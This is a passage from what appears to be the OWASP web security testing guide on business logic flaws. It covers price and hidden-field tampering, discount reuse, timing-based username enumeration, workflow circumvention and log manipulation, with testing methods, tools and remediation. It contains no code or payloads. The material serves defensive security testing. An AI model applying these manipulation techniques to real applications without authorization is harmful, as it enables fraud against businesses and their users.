Automated tools find it hard to understand context, hence it's up to a person to perform these kinds of tests. The following two examples will illustrate how understanding the functionality of the application, the developer's intentions, and some creative "out-of-the-box" thinking can break the application's logic. The first example starts with a simplistic parameter manipulation, whereas the second is a real world example of a multi-step process leading to completely subvert the application.

Example 1:

Suppose an e-commerce site allows users to select items to purchase, view a summary page and then tender the sale. What if an attacker was able to go back to the summary page, maintaining their same valid session and inject a lower cost for an item and complete the transaction, and then check out?

Example 2:

Holding/locking resources and keeping others from purchases these items online may result in attackers purchasing items at a lower price. The countermeasure to this problem is to implement timeouts and mechanisms to ensure that only the correct price can be charged.

Example 3:

What if a user was able to start a transaction linked to their club/loyalty account and then after points have been added to their account cancel out of the transaction? Will the points/credits still be applied to their account?

Business Logic Test Cases

Every application has a different business process, application specific logic and can be manipulated in an infinite number of combinations. This section provides some common examples of business logic issues but in no way a complete list of all issues.

Business Logic exploits can be broken into the following categories:

Test business logic data validation (OTG-BUSLOGIC-001)

In business logic data validation testing, we verify that the application does not allow users to insert “unvalidated” data into the system/application. This is important because without this safeguard attackers may be able to insert “unvalidated” data/information into the application/system at “handoff points” where the application/system believes that the data/information is “good” and has been valid since the “entry points” performed data validation as part of the business logic workflow.

Test Ability to forge requests (OTG-BUSLOGIC-002)

In forged and predictive parameter request testing, we verify that the application does not allow users to submit or alter data to any component of the system that they should not have access to, are accessing at that particular time or in that particular manner. This is important because without this safeguard attackers may be able to “fool/trick” the application into letting them into sections of the application of system that they should not be allowed in at that particular time, thus circumventing the applications business logic workflow.

Test Integrity Checks (OTG-BUSLOGIC-003)

In integrity check and tamper evidence testing, we verify that the application does not allow users to destroy the integrity of any part of the system or its data. This is important because without these safe guards attackers may break the business logic workflow and change or compromise the application/system data or cover up actions by altering information including log files.

Test for Process Timing (OTG-BUSLOGIC-004)

In process timing testing, we verify that the application does not allow users to manipulate a system or guess its behavior based on input or output timing. This is important because without this safeguard in place attackers may be able to monitor processing time and determine outputs based on timing, or circumvent the application’s business logic by not completing transactions or actions in a timely manner.

Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)

In function limit testing, we verify that the application does not allow users to exercise portions of the application or its functions more times than required by the business logic workflow. This is important because without this safeguard in place attackers may be able to use a function or portion of the application more times than permissible per the business logic to gain additional benefits.

Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)

In circumventing workflow and bypassing correct sequence testing, we verify that the application does not allow users to perform actions outside of the “approved/required” business process flow. This is important because without this safeguard in place attackers may be able to bypass or circumvent workflows and “checks” allowing them to prematurely enter or skip “required” sections of the application potentially allowing the action/transaction to be completed without successfully completing the entire business process, leaving the system with incomplete backend tracking information.

Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)

In application mis-use testing, we verify that the application does not allow users to manipulate the application in an unintended manner.

Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)

In unexpected file upload testing, we verify that the application does not allow users to upload file types that the system is not expecting or wanted per the business logic requirements. This is important because without these safeguards in place attackers may be able to submit unexpected files such as .exe or .php that could be saved to the system and then executed against the application or system.

Test Upload of Malicious Files (OTG-BUSLOGIC-009)

In malicious file upload testing, we verify that the application does not allow users to upload files to the system that are malicious or potentially malicious to the system security. This is important because without these safeguards in place attackers may be able to upload files to the system that may spread viruses, malware or even exploits such as shellcode when executed.

Tools

While there are tools for testing and verifying that business processes are functioning correctly in valid situations these tools are incapable of detecting logical vulnerabilities. For example, tools have no means of detecting if a user is able to circumvent the business process flow through editing parameters, predicting resource names or escalating privileges to access restricted resources nor do they have any mechanism to help the human testers to suspect this state of affairs.

The following are some common tool types that can be useful in identifying business logic issues.

HP Business Process Testing Software

- <http://www8.hp.com/us/en/software-solutions/software.html?compURI=1174789#.UObjK3ca7aE>

Intercepting Proxy - To observe the request and response blocks of HTTP traffic.

- WebScarab - https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
- Burp Proxy - <http://portswigger.net/burp/proxy.html>
- Paros Proxy - <http://www.parosproxy.org/>

Web Browser Plug-ins - To view and modify HTTP/HTTPS headers, post parameters and observe the DOM of the Browser

- Tamper Data (for Internet Explorer) - <https://addons.mozilla.org/en-us/firefox/addon/tamper-data/>
- TamperIE (for Internet Explorer) - <http://www.bayden.com/tamperie/>
- Firebug (for Internet Explorer) - <https://addons.mozilla.org/en-us/firefox/addon/firebug/> and <http://getfirebug.com/>

Miscellaneous Test Tools

- Web Developer toolbar - <https://chrome.google.com/webstore/detail/bfbameneiokkkgbdiemkhhjmkcnldhdm>
 - The Web Developer extension adds a toolbar button to the browser with various web developer tools. This is the official port of the Web Developer extension for Firefox.
- HTTP Request Maker - <https://chrome.google.com/webstore/detail/kajfghlhfkocafkclajldicbikpgnp?hl=en-US>
 - Request Maker is a tool for penetration testing. With it you can easily capture requests made by web pages, tamper with the URL, headers and POST data and, of course, make new requests
- Cookie Editor - <https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg?hl=en-US>
 - Edit This Cookie is a cookie manager. You can add, delete, edit, search, protect and block cookies
- Session Manager - <https://chrome.google.com/webstore/detail/bbcnbpafconjjigibnhbfmmgdbbkcfi>
 - With Session Manager you can quickly save your current browser state and reload it whenever necessary. You can manage multiple sessions, rename or remove them from the session library. Each session remembers the state of the browser at its creation time, i.e. the opened tabs and windows. Once a session is opened, the browser is restored to its state.
- Cookie Swap - <https://chrome.google.com/webstore/detail/dffhipnliikbklkhpjapbecpmoilcama?hl=en-US>
 - Swap My Cookies is a session manager, it manages your cookies, letting you login on any website with several different accounts. You can finally login into Gmail, yahoo, hotmail, and just any website you use, with all your accounts; if you want to use another account just swap profile!
- HTTP Response Browser - <https://chrome.google.com/webstore/detail/mgekankhbggkjpcbhacjgflbacnpljm?hl=en-US>
 - Make HTTP requests from your browser and browse the response (HTTP headers and source). Send HTTP method, headers and body using XMLHttpRequest from your browser then view the HTTP status, headers and source. Click links in the headers or body to issue new requests. This plug-in formats XML responses and uses [Syntax Highlighter](#).
- Firebug lite for Chrome - <https://chrome.google.com/webstore/detail/bmagokdooijbeehmkpknfglimnifench>
 - Firebug Lite is not a substitute for Firebug, or Chrome Developer Tools. It is a tool to be used in conjunction with these tools. Firebug Lite provides the rich visual representation we are used to see in Firebug when it comes to HTML elements, DOM elements, and Box Model shading. It provides also some cool features like inspecting HTML elements with your mouse, and live editing CSS properties.

References

Whitepapers

- Business Logic Vulnerabilities in Web Applications - <http://www.google.com/url?sa=t&rct=j&q=BusinessLogicVulnerabilities.pdf&source=web&cd=1&cad=rja&ved=0CDIQFjAA&url=http%3A%2F%2Faccorute.googlecode.com%2Ffiles%2FBusinessLogicVulnerabilities.pdf&ei=2Xj9UJO5LYaB0QHakwE&usg=AFQjCNGI AcjK2uz2U87bTjTHjJ-T0T3THg&bvm=bv.41248874,d.dmg>
- The Common Misuse Scoring System (CMSS): Metrics for Software Feature Misuse Vulnerabilities - NISTIR 7864 - <http://csrc.nist.gov/publications/nistir/ir7864/nistir-7864.pdf>
- Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems, Faisal Nabi - <http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12-n1-p29-41.pdf>
- Finite State testing of Graphical User Interfaces, Fevzi Belli - <http://www.slideshare.net/Softwarecentral/finitestate-testing-of-graphical-user-interfaces>

- Principles and Methods of Testing Finite State Machines - A Survey, David Lee, Mihalis Yannakakis - <http://www.cse.ohio-state.edu/~lee/english/pdf/ieee-proceeding-survey.pdf>
- Security Issues in Online Games, Jianxin Jeff Yan and Hyun-Jin Choi - <http://homepages.cs.ncl.ac.uk/jeff.yan/TEL.pdf>
- Securing Virtual Worlds Against Real Attack, Dr. Igor Muttik, McAfee - https://www.info-point-security.com/open_downloads/2008/McAfee_wp_online_gaming_0808.pdf
- Seven Business Logic Flaws That Put Your Website At Risk – Jeremiah Grossman Founder and CTO, WhiteHat Security - https://www.whitehatsec.com/resource/whitepapers/business_logic_flaws.html
- Toward Automated Detection of Logic Vulnerabilities in Web Applications - Viktoria Felmetzger Ludovico Cavedon Christopher Kruegel Giovanni Vigna - https://www.usenix.org/legacy/event/sec10/tech/full_papers/Felmetzger.pdf
- 2012 Web Session Intelligence & Security Report: Business Logic Abuse, Dr. Ponemon - <http://www.emc.com/collateral/rsa/silvertail/rsa-silver-tail-ponemon-ar.pdf>
- 2012 Web Session Intelligence & Security Report: Business Logic Abuse (UK) Edition, Dr. Ponemon - http://buzz.silvertailsystems.com/Ponemon_UK.htm

OWASP Related

- Business Logic Attacks – Bots and Bats, Eldad Chai - http://www.imperva.com/resources/adcs/pdfs/AppSecEU09_BusinessLogicAttacks_EldadChai.pdf
- OWASP Detail Misuse Cases - https://www.owasp.org/index.php/Detail_misuse_cases
- How to Prevent Business Flaws Vulnerabilities in Web Applications, Marco Morana - http://www.slideshare.net/marco_morana/issa-louisville-2010morana

Useful Web Sites

- Abuse of Functionality - <http://projects.webappsec.org/w/page/13246913/Abuse-of-Functionality>
- Business logic - http://en.wikipedia.org/wiki/Business_logic
- Business Logic Flaws and Yahoo Games - <http://jeremiahgrossman.blogspot.com/2006/12/business-logic-flaws.html>
- CWE-840: Business Logic Errors - <http://cwe.mitre.org/data/definitions/840.html>
- Defying Logic: Theory, Design, and Implementation of Complex Systems for Testing Application Logic - <http://www.slideshare.net/RafalLos/defying-logic-business-logic-testing-with-automation>
- Prevent application logic attacks with sound app security practices - http://searchappsecurity.techtarget.com/qna/0,289202,sid92_gci1213424,00.html?bucket=NEWS&topic=302570
- Real-Life Example of a 'Business Logic Defect - <http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581>
- Software Testing Lifecycle - <http://softwaretestingfundamentals.com/software-testing-life-cycle/>
- Top 10 Business Logic Attack Vectors Attacking and Exploiting Business Application Assets and Flaws – Vulnerability Detection to Fix - <http://www.ntobjectives.com/go/business-logic-attack-vectors-white-paper/> and http://www.ntobjectives.com/files/Business_Logic_White_Paper.pdf

Books

- The Decision Model: A Business Logic Framework Linking Business and Technology, By Barbara Von Halle, Larry Goldberg, Published by CRC Press, ISBN1420082817 (2010)

Test Business Logic Data Validation (OTG-BUSLOGIC-001)

Summary

The application must ensure that only logically valid data can be entered at the front end as well as directly to the server side of an application or system. Only verifying data locally may leave applications vulnerable to server injections through proxies or at handoffs with other systems. This is different from simply performing Boundary Value Analysis (BVA) in that it is more difficult and in most cases cannot be simply verified at the entry point, but usually requires checking some other system.

For example: An application may ask for your Social Security Number. In BVA the application should check formats and semantics (is the value 9 digits long, not negative and not all 0's) for the data entered, but there are logic considerations also. SSNs are grouped and categorized. Is this person on a death file? Are they from a certain part of the country?

Vulnerabilities related to business data validation is unique in that they are application specific and different from the vulnerabilities related to forging requests in that they are more concerned about logical data as opposed to simply breaking the business logic workflow.

The front end and the back end of the application should be verifying and validating that the data it has, is using and is passing along is logically valid. Even if the user provides valid data to an application the business logic may make the application behave differently depending on data or circumstances.

Examples

Example 1

Suppose you manage a multi-tiered e-commerce site that allows users to order carpet. The user selects their carpet, enters the size, makes the payment, and the front end application has verified that all entered information is correct and valid for contact information, size, make and color of the carpet. But, the business logic in the background has two paths, if the carpet is in stock it is directly shipped from your warehouse, but if it is out of stock in your warehouse a call is made to a partner's system and if they have it in-stock they will ship the order from their warehouse and reimbursed by them. What happens if an attacker is able to continue a valid in-stock transaction and send it as out-of-stock to your partner? What happens if an attacker is able to get in the middle and send messages to the partner warehouse ordering carpet without payment?

Example 2

Many credit card systems are now downloading account balances nightly so the customers can check out more quickly for amounts under a certain value. The inverse is also true. If I pay my credit card off in the morning I may not be able to use the available credit in the evening. Another example may be if I use my credit card at multiple locations very quickly it may be possible to exceed my limit if the systems are basing decisions on last night's data.

How to Test

Generic Test Method

- Review the project documentation and use exploratory testing looking for data entry points or hand off points between systems or software.
- Once found try to insert logically invalid data into the application/system.

Specific Testing Method:

- Perform front-end GUI Functional Valid testing on the application to ensure that the only "valid" values are accepted.
- Using an intercepting proxy observe the HTTP POST/GET looking for places that variables such as cost and quality are passed. Specifically, look for "hand-offs" between application/systems that may be possible injection of tamper points.
- Once variables are found start interrogating the field with logically "invalid" data, such as social security numbers or unique identifiers that do not exist or that do not fit the business logic. This testing verifies that the server functions properly and does not accept logically invalid data them.

Related Test Cases

- All [Input Validation](#) test cases
- [Testing for Account Enumeration and Guessable User Account \(OTG-IDENT-004\)](#)
- [Testing for Bypassing Session Management Schema \(OTG-SESS-001\)](#)
- [Testing for Exposed Session Variables \(OTG-SESS-004\)](#)

Tools

- *OWASP Zed Attack Proxy (ZAP)* - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

References

Beginning Microsoft Visual Studio LightSwitch Development - http://books.google.com/books?id=x76L_kaTgdEC&pg=PA280&lpg=PA280&dq=business+logic+example+valid+data+example&source=bl&ots=GOfQ-7f4Hu&sig=4jOejZVligZOrvjBFRAT4-jy8DI&hl=en&sa=X&ei=mydYUt6qEOX54APu7IDgCQ&ved=0CFIQ6AEwBDgK#v=onepage&q=business%20logic%20example%20valid%20data%20example&f=false

Remediation

The application/system must ensure that only "logically valid" data is accepted at all input and hand off points of the application or system and data is not simply trusted once it has entered the system.

Test Ability to Forge Requests (OTG-BUSLOGIC-002)

Summary

Forging requests is a method that attackers use to circumvent the front end GUI application to directly submit information for back end processing. The goal of the attacker is to send HTTP POST/GET requests through an intercepting proxy with data values that is not supported, guarded against or expected by the applications business logic. Some examples of forged requests include exploiting guessable or predictable parameters or expose “hidden” features and functionality such as enabling debugging or presenting special screens or windows that are very useful during development but may leak information or bypass the business logic.

Vulnerabilities related to the ability to forge requests is unique to each application and different from business logic data validation in that it s focus is on breaking the business logic workflow.

Applications should have logic checks in place to prevent the system from accepting forged requests that may allow attackers the opportunity to exploit the business logic, process, or flow of the application. Request forgery is nothing new; the attacker uses an intercepting proxy to send HTTP POST/GET requests to the application. Through request forgeries attackers may be able to circumvent the business logic or process by finding, predicting and manipulating parameters to make the application think a process or task has or has not taken place.

Also, forged requests may allow subvention of programmatic or business logic flow by invoking “hidden” features or functionality such as debugging initially used by developers and testers sometimes referred to as an “Easter egg”. “An Easter egg is an intentional inside joke, hidden message, or feature in a work such as a computer program, movie, book, or crossword. According to game designer Warren Robinett, the term was coined at Atari by personnel who were alerted to the presence of a secret message which had been hidden by Robinett in his already widely distributed game, Adventure. The name has been said to evoke the idea of a traditional Easter egg hunt.”

[http://en.wikipedia.org/wiki/Easter_egg_\(media\)](http://en.wikipedia.org/wiki/Easter_egg_(media))

Examples

Example 1

Suppose an e-commerce theater site allows users to select their ticket, apply a onetime 10% Senior discount on the entire sale, view the subtotal and tender the sale. If an attacker is able to see through a proxy that the application has a hidden field (of 1 or 0) used by the business logic to determine if a discount has been taken or not. The attacker is then able to submit the 1 or “no discount has been taken” value multiple times to take advantage of the same discount multiple times.

Example 2

Suppose an online video game pays out tokens for points scored for finding pirates treasure and pirates and for each level completed. These tokens can later be that can later be exchanged for prizes. Additionally each level's points have a multiplier value equal to the level. If an attacker was able to see through a proxy that the application has a hidden field used during development and testing to quickly get to the highest levels of the game they could quickly get to the highest levels and accumulate unearned points quickly.

Also, if an attacker was able to see through a proxy that the application has a hidden field used during development and testing to enabled a log that indicated where other online players, or hidden treasure were in relation to the attacker, they would then be able to quickly go to these locations and score points.

How to Test

Generic Testing Method

- Review the project documentation and use exploratory testing looking for guessable, predictable or hidden functionality of fields.
- Once found try to insert logically valid data into the application/system allowing the user go through the application/system against the normal business logic workflow.

Specific Testing Method 1

- Using an intercepting proxy observe the HTTP POST/GET looking for some indication that values are incrementing at a regular interval or are easily guessable.
- If it is found that some value is guessable this value may be changed and one may gain unexpected visibility.

Specific Testing Method 2

- Using an intercepting proxy observe the HTTP POST/GET looking for some indication of hidden features such as debug that can be switched on or activated.
- If any are found try to guess and change these values to get a different application response or behavior.

Related Test Cases

- [Testing for Exposed Session Variables \(OTG-SESS-004\)](#)
- [Testing for Cross Site Request Forgery \(CSRF\) \(OTG-SESS-005\)](#)
- [Testing for Account Enumeration and Guessable User Account \(OTG-IDENT-004\)](#)

Tools

- *OWASP Zed Attack Proxy (ZAP)* - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

References

- Cross Site Request Forgery - Legitimizing Forged Requests - <http://fragilesecurity.blogspot.com/2012/11/cross-site-request-forgery-legitimizing.html>
- Debugging features which remain present in the final game - http://glitchcity.info/wiki/index.php/List_of_video_games_with_debugging_features#Debugging_features_which_remain_present_in_the_final_game
- Easter egg - [http://en.wikipedia.org/wiki/Easter_egg_\(media\)](http://en.wikipedia.org/wiki/Easter_egg_(media))
- Top 10 Software Easter Eggs - <http://lifel hacker.com/371083/top-10-software-easter-eggs>

Remediation

The application must be smart enough and designed with business logic that will prevent attackers from predicting and manipulating parameters to subvert programmatic or business logic flow, or exploiting hidden/undocumented functionality such as debugging.

Test Integrity Checks (OTG-BUSLOGIC-003)

Summary

Many applications are designed to display different fields depending on the user or situation by leaving some inputs hidden. However, in many cases it is possible to submit values hidden field values to the server using a proxy. In these cases the server side controls must be smart enough to perform relational or server side edits to ensure that the proper data is allowed to the server based on user and application specific business logic.

Additionally, the application must not depend on non-editable controls, drop-down menus or hidden fields for business logic processing because these fields remain non-editable only in the context of the browsers. Users may be able to edit their values using proxy editor tools and try to manipulate business logic. If the application exposes values related to business rules like quantity, etc. as non-editable fields it must maintain a copy on the server side and use the same for business logic processing. Finally, aside application/system data, log systems must be secured to prevent read, writing and updating.

Business logic integrity check vulnerabilities is unique in that these misuse cases are application specific and if users are able to make changes one should only be able to write or update/edit specific artifacts at specific times per the business process logic.

The application must be smart enough to check for relational edits and not allow users to submit information directly to the server that is not valid, trusted because it came from a non-editable controls or the user is not authorized to submit through the front end. Additionally, system artifacts such as logs must be "protected" from unauthorized read, writing and removal.

Example

Example 1

Imagine an ASP.NET application GUI application that only allows the admin user to change the password for other users in the system. The admin user will see the username and password fields to enter a username and password while other users will not see either field. However, if a non admin user submits information in the username and password field through a proxy they may be able to "trick" the server into believing that the request has come from an admin user and change password of other users.

Example 2

Most web applications have dropdown lists making it easy for the user to quickly select their state, month of birth, etc. Suppose a Project Management application allowed users to login and depending on their privileges presented them with a drop down list of projects they have access to. What happens if an attacker finds the name of another project that they should not have access to and submits the information via a proxy. Will the application give access to the project? They should not have access even though they skipped an authorization business logic check.

Example 3

Suppose the motor vehicle administration system required an employee initially verify each citizens documentation and information when they issue an identification or driver's license. At this point the business process has created data with a high level of integrity as the integrity of submitted data is checked by the application. Now suppose the application is moved to the Internet so employees can log on for full service or citizens can log on for a reduced self-service application to update certain information. At this point an attacker may be able to use an intercepting proxy to add or update data that they should not have access to and they could destroy the integrity of the data by stating that the citizen was not married but supplying data for a spouse's name. This type of inserting or updating of unverified data destroys the data integrity and might have been prevented if the business process logic was followed.

Example 4

Many systems include logging for auditing and troubleshooting purposes. But, how good/valid is the information in these logs? Can they be manipulated by attackers either intentionally or accidentally having their integrity destroyed?

How to Test

Generic Testing Method

- Review the project documentation and use exploratory testing looking for parts of the application/system (components i.e. For example, input fields, databases or logs) that move, store or handle data/information.
- For each identified component determine what type of data/information is logically acceptable and what types the application/system should guard against. Also, consider who according to the business logic is allowed to insert, update and delete data/information and in each component.
- Attempt to insert, update or edit delete the data/information values with invalid data/information into each component (i.e. input, database, or log) by users that should not be allowed per the business logic workflow.

Specific Testing Method 1

- Using a proxy capture and HTTP traffic looking for hidden fields.
- If a hidden field is found see how these fields compare with the GUI application and start interrogating this value through the proxy by submitting different data values trying to circumvent the business process and manipulate values you were not intended to have access to.

Specific Testing Method 2

- Using a proxy capture and HTTP traffic looking a place to insert information into areas of the application that are non-editable.
- If it is found see how these fields compare with the GUI application and start interrogating this value through the proxy by submitting different data values trying to circumvent the business process and manipulate values you were not intended to have access to.

Specific Testing Method 3

- List components of the application or system that could be edited, for example logs or databases.
- For each component identified, try to read, edit or remove its information. For example log files should be identified and Testers should try to manipulate the data/information being collected.

Related Test Cases

All [Input Validation](#) test cases

Tools

- Various system/application tools such as editors and file manipulation tools.
- OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

References

- Implementing Referential Integrity and Shared Business Logic in a RDB - <http://www.agiledata.org/essays/referentialIntegrity.html>
- On Rules and Integrity Constraints in Database Systems - <http://www.comp.nus.edu.sg/~lingtw/papers/IST92.teopk.pdf>
- Use referential integrity to enforce basic business rules in Oracle - <http://www.techrepublic.com/article/use-referential-integrity-to-enforce-basic-business-rules-in-oracle/>
- Maximizing Business Logic Reuse with Reactive Logic - <http://architects.dzone.com/articles/maximizing-business-logic>
- Tamper Evidence Logging - <http://tamperevident.cs.rice.edu/Logging.html>

Remediation

The application must be smart enough to check for relational edits and not allow users to submit information directly to the server that is not valid, trusted because it came from a non-editable controls or the user is not authorized to submit through the front end. Additionally, any component that can be edited must have mechanisms in place to prevent unintentional/intentional writing or updating.

Test for Process Timing (OTG-BUSLOGIC-004)

Summary

It is possible that attackers can gather information on an application by monitoring the time it takes to complete a task or give a respond. Additionally, attackers may be able to manipulate and break designed business process flows by simply keeping active sessions open and not submitting their transactions in the "expected" time frame.

Process timing logic vulnerabilities is unique in that these manual misuse cases should be created considering execution and transaction timing that are application/system specific.

Processing timing may give/leak information on what is being done in the application/system background processes. If an application allows users to guess what the particulate next outcome will be by processing time variations, users will be able to adjust accordingly and change behavior based on the expectation and "game the system".

Example

Example 1

Video gambling/slot machines may take longer to process a transaction just prior to a large payout. This would allow astute gamblers to gamble minimum amounts until they see the long process time which would then prompt them to bet the maximum.

Example 2

Many system log on processes ask for the user name and password. If you look closely you may be able to see that entering an invalid user name and invalid user password takes more time to return an error than entering a valid username and invalid user password. This may allow the attacker to know if they have a valid username and not need to rely on the GUI message.

Example 3

Most Arenas or travel agencies have ticketing applications that allow users to purchase tickets and reserve seats. When the user requests the tickets seats are locked or reserved pending payment. What if an attacker keeps reserving seats but not checking out? Will the seats be released, or will no tickets be sold? Some ticket vendors now only allow users 5 minutes to complete a transaction or the transaction is invalidated.

Example 4

Suppose a precious metals e-commerce site allows users to make purchases with a price quote based on market price at the time they log on. What if an attacker logs on and places an order but does not complete the transaction until later in the day only of the price of the metals goes up? Will the attacker get the initial lower price?

How to Test

- Review the project documentation and use exploratory testing looking for application/system functionality that may be impacted by time. Such as execution time or actions that help users predict a future outcome or allow one to circumvent any part of the business logic or workflow. For example, not completing transactions in an expected time.
- Develop and execute the mis-use cases ensuring that attackers can not gain an advantage based on any timing.

Related Test Cases

[Testing for Cookies attributes \(OTG-SESS-002\)](#)

[Test Session Timeout \(OTG-SESS-007\)](#)

References

None

Remediation

Develop applications with processing time in mind. If attackers could possibly gain some type of advantage from knowing the different processing times and results add extra steps or processing so that no matter the results they are provided in the same time frame.

Additionally, the application/system must have mechanism in place to not allow attackers to extend transactions over an "acceptable" amount of time. This may be done by cancelling or resetting transactions after a specified amount of time has passed like some ticket vendors are now using.

Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)

Summary

Many of the problems that applications are solving require limits to the number of times a function can be used or action can be executed. Applications must be “smart enough” to not allow the user to exceed their limit on the use of these functions since in many cases each time the function is used the user may gain some type of benefit that must be accounted for to properly compensate the owner. For example: an eCommerce site may only allow a users apply a discount once per transaction, or some applications may be on a subscription plan and only allow users to download three complete documents monthly.

Vulnerabilities related to testing for the function limits are application specific and misuse cases must be created that strive to exercise parts of the application/functions/ or actions more than the allowable number of times.

Attackers may be able to circumvent the business logic and execute a function more times than “allowable” exploiting the application for personal gain.

Example

Suppose an eCommerce site allows users to take advantage of any one of many discounts on their total purchase and then proceed to checkout and tendering. What happens if the attacker navigates back to the discounts page after taking and applying the one “allowable” discount? Can they take advantage of another discount? Can they take advantage of the same discount multiple times?

How to Test

- Review the project documentation and use exploratory testing looking for functions or features in the application or system that should not be executed more than a single time or specified number of times during the business logic workflow.
- For each of the functions and features found that should only be executed a single time or specified number of times during the business logic workflow, develop abuse/misuse cases that may allow a user to execute more than the allowable number of times. For example, can a user navigate back and forth through the pages multiple times executing a function that should only execute once? or can a user load and unload shopping carts allowing for additional discounts.

Related Test Cases

[Testing for Account Enumeration and Guessable User Account \(OTG-IDENT-004\)](#)

[Testing for Weak lock out mechanism \(OTG-AUTHN-003\)](#)

References

InfoPath Forms Services business logic exceeded the maximum limit of operations Rule - <http://mpwiki.viacode.com/default.aspx?g=posts&t=115678>

Gold Trading Was Temporarily Halted On The CME This Morning - <http://www.businessinsider.com/gold-halted-on-cme-for-stop-logic-event-2013-10>

Remediation

The application should have checks to ensure that the business logic is being followed and that if a function/action can only be executed a certain number of times, when the limit is reached the user can no longer execute the function. To prevent users from using a function over the appropriate number of times the application may use mechanisms such as cookies to keep count or through sessions not allowing users to access to execute the function additional times.

Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)

Summary

Workflow vulnerabilities involve any type of vulnerability that allows the attacker to misuse an application/system in a way that will allow them to circumvent (not follow) the designed/intended workflow.

“A workflow consists of a sequence of connected steps where each step follows without delay or gap and ends just before the subsequent step may begin. It is a depiction of a sequence of operations, declared as work of a person or group, an organization of staff, or one or more simple or complex mechanisms. Workflow may be seen as any abstraction of real work.” (<https://en.wikipedia.org/wiki/Workflow>)

The application's business logic must require that the user complete specific steps in the correct/specific order and if the workflow is terminated without correctly completing, all actions and spawned actions are “rolled back” or canceled. Vulnerabilities related to the circumvention of workflows or bypassing the correct business logic workflow are unique in that they are very application/system specific and careful manual misuse cases must be developed using requirements and use cases.

The applications business process must have checks to ensure that the user's transactions/actions are proceeding in the correct/acceptable order and if a transaction triggers some sort of action, that action will be “rolled back” and removed if the transaction is not successfully completed.

Examples

Example 1

Many of us receive so type of “club/loyalty points” for purchases from grocery stores and gas stations. Suppose a user was able to start a transaction linked to their account and then after points have been added to their club/loyalty account cancel out of the transaction or remove items from their “basket” and tender. In this case the system either should not apply points/credits to the account until it is tendered or points/credits should be “rolled back” if the point/credit increment does not match the final tender. With this in mind, an attacker may start transactions and cancel them to build their point levels without actually buy anything.

Example 2

An electronic bulletin board system may be designed to ensure that initial posts do not contain profanity based on a list that the post is compared against. If a word on a “black” the list is found in the user entered text the submission is not posted. But, once a submission is posted the submitter can access, edit, and change the submission contents to include words included on the profanity/black list since on edit the posting is never compared again. Keeping this in mind, attackers may open an initial blank or minimal discussion then add in whatever they like as an update.

How to Test

Generic Testing Method

- Review the project documentation and use exploratory testing looking for methods to skip or go to steps in the application process in a different order from the designed/intended business logic flow.
- For each method develop a misuse case and try to circumvent or perform an action that is “not acceptable” per the the business logic workflow.

Testing Method 1

- Start a transaction going through the application past the points that triggers credits/points to the users account.
- Cancel out of the transaction or reduce the final tender so that the point values should be decreased and check the points/ credit system to ensure that the proper points/credits were recorded.

Testing Method 2

- On a content management or bulletin board system enter and save valid initial text or values.
- Then try to append, edit and remove data that would leave the existing data in an invalid state or with invalid values to ensure that the user is not allowed to save the incorrect information. Some "invalid" data or information may be specific words (profanity) or specific topics (such as political issues).

Related Test Cases

- [Testing Directory traversal/file include \(OTG-AUTHZ-001\)](#)
- [Testing for bypassing authorization schema \(OTG-AUTHZ-002\)](#)
- [Testing for Bypassing Session Management Schema \(OTG-SESS-001\)](#)
- [Test Business Logic Data Validation \(OTG-BUSLOGIC-001\)](#)
- [Test Ability to Forge Requests \(OTG-BUSLOGIC-002\)](#)
- [Test Integrity Checks \(OTG-BUSLOGIC-003\)](#)
- [Test for Process Timing \(OTG-BUSLOGIC-004\)](#)
- [Test Number of Times a Function Can be Used Limits \(OTG-BUSLOGIC-005\)](#)
- [Test Defenses Against Application Mis-use \(OTG-BUSLOGIC-007\)](#)
- [Test Upload of Unexpected File Types \(OTG-BUSLOGIC-008\)](#)
- [Test Upload of Malicious Files \(OTG-BUSLOGIC-009\)](#)

References

- OWASP Detail Misuse Cases - https://www.owasp.org/index.php/Detail_misuse_cases
- Real-Life Example of a 'Business Logic Defect' - <http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581>
- Top 10 Business Logic Attack Vectors Attacking and Exploiting Business Application
- Assets and Flaws – Vulnerability Detection to Fix - <http://www.ntobjectives.com/go/business-logic-attack-vectors-white-paper/> and http://www.ntobjectives.com/files/Business_Logic_White_Paper.pdf
- CWE-840: Business Logic Errors - <http://cwe.mitre.org/data/definitions/840.html>

Remediation

The application must be self-aware and have checks in place ensuring that the users complete each step in the work flow process in the correct order and prevent attackers from circumventing/skipping/or repeating any steps/processes in the workflow. Test for workflow vulnerabilities involves developing business logic abuse/misuse cases with the goal of successfully completing the business process while not completing the correct steps in the correct order.

Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)

Summary

The misuse and invalid use of of valid functionality can identify attacks attempting to enumerate the web application, identify weaknesses, and exploit vulnerabilities. Tests should be undertaken to determine whether there are application-layer defensive mechanisms in place to protect the application.

